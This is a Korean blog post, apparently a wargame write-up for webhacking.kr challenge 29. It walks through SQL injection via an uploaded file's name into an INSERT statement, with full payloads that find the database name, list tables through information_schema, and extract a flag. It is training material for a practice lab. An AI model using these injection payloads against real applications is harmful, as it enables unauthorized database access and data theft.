본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 29번

메인화면

파일을 올리면 time, ip, file의 이름이 뜨는 것을 볼수있다

이걸로 파일을 제출할 시

INSERT INTO 테이블 VALUES() 구문이 쓰이고

우리에게 보여지는 화면은

select time, ip, file from 테이블

구문으로 되어있는걸 추측할 수 있다

 

일단 파일이름으로 injection을 시도할건데

VALUES()안에서 파일이 어디에 위치하는지를 먼저 알아내야한다

 

경우 1(파일 이름이 첫번째에 위치하는 경우)

file, ~~, ~~

이런 경우에는 

', ~~, ~~),(injection, ~~. ~~)-- -로 한다

INSERT INTO 테이블 VALUES('', ~~, ~~),(injection, ~~, ~~)-- -', ~~, ~~)

 

경우 2(파일 이름이 중간에 위치한 경우)

~~, file, ~~

이 경우는

', ~~),(~~, injection, ~~)-- -로 한다

INSERT INTO 테이블 VALUES(~~,'', ~~),(~~, injection, ~~)-- -', ~~)

 

경우 3(파일 이름이 마지막에 위치하는 경우)

~~, ~~, file

이 경우는

'),(~~, ~~,injection)-- -로 한다

INSERT INTO 테이블 VALUES(~~, ~~, ''),(~~, ~~, injection)-- -')

 

세 가지 경우를 다해본 결과 이번문제는 경우 1에 해당

 

문제에서 flag는 다른 테이블에 있다고 했다

하지만 database는 같기 때문에 먼저 database의 이름을 알아내기로한다

 

경우 1로 injection했을 때 파일 업로드는 성공했는데 목록에 안뜨는 경우가 있다

IP가 나의 IP와 다르면 표시되지않아 IP는 내아이피를 그대로 두어야한다

IP는 3번째에 들어간다

 

파일이름

GG',1, '203.241.183.7')-- -

injection이 되는 모습

먼저 데이터베이스 이름의 길이를 알아낸다

파일이름

GG',1, '203.241.183.7'),(length(database())=7,1, '203.241.183.7')-- -

참결과

 

이제 데이터베이스의 이름을 찾아낸다

파일이름

GG',1, '203.241.183.7'),(substr(database(),1,1)='c',1, '203.241.183.7')-- -

참결과

7글자에 첫 글자가 'c'

왠지 chall29일거 같음

파일명

GG',1, '203.241.183.7'),(substr(database(),1,7)='chall29',1, '203.241.183.7')-- -

참결과

 

이제 데이터베이스 이름을 아니까 

이 데이터베이스안의 다른 테이블을 찾아야한다

information_schema.TABLES를 사용

 

파일명

GG',1, '203.241.183.7'),((select table_name from information_schema.tables where table_schema='chall29' limit 0,1),1, '203.241.183.7')-- -

결과

첫번째는 files라는 테이블이 있는데 이건 지금문제에서 사용하는 테이블인것 같다

다음 테이블

파일명

GG',1, '203.241.183.7'),((select table_name from information_schema.tables where table_schema='chall29' limit 1,1),1, '203.241.183.7')-- -

결과

이름부터 이 테이블인것 같다

이제 테이블도 알았으니까 테이블안에 있는 flag를 꺼내야한다

컬럼을 알아내야하는데 왠지 컬럼이 flag일거 같아서 바로해봄

 

파일명

GG',1, '203.241.183.7'),((select flag from flag_congratz),1, '203.241.183.7')-- -

클리어

 

풀고나니까 이걸 왜케 헤맸는지 모르겠다 ㅅㅂ

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 8번  (0) 2019.12.27
Webhacking.kr 55번  (0) 2019.12.27
Webhacking.kr 53번  (0) 2019.12.13
Webhacking.kr 35번  (0) 2019.12.11
Webhacking.kr 49번  (0) 2019.12.09